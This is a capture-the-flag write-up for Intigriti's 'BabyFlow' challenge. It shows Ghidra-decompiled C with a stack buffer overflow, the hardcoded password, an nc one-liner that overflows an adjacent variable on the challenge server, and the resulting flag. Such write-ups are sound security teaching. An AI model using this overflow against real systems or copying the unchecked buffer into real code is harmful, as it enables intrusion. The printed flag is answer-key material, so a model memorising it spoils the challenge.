BabyFlow [438 Solves]
Description
Does this login application even work?!
nc babyflow.ctf.intigriti.io 1331Attachments: babyflow
Flag
INTIGRITI{b4bypwn_9cdfb439c7876e703e307864c9167a15}
Solution
$ file babyflow
babyflow: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=55a6fe0ff25ff287549a03eb79dd00df541ece7f, for GNU/Linux 3.2.0, not stripped
Decompiled with Ghidra:
undefined8 main(void)
{
int iVar1;
char local_38 [44];
int local_c;
local_c = 0;
printf("Enter password: ");
fgets(local_38,0x32,stdin);
iVar1 = strncmp(local_38,"SuPeRsEcUrEPaSsWoRd123",0x16);
if (iVar1 == 0) {
puts("Correct Password!");
if (local_c == 0) {
puts("Are you sure you are admin? o.O");
}
else {
puts("INTIGRITI{the_flag_is_different_on_remote}");
}
}
else {
puts("Incorrect Password!");
}
return 0;
}
Overwrite local_c with Buffer Over Flow.
$ echo 'SuPeRsEcUrEPaSsWoRd123AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' | nc babyflow.ctf.intigriti.io 1331
Enter password: Correct Password!
INTIGRITI{b4bypwn_9cdfb439c7876e703e307864c9167a15}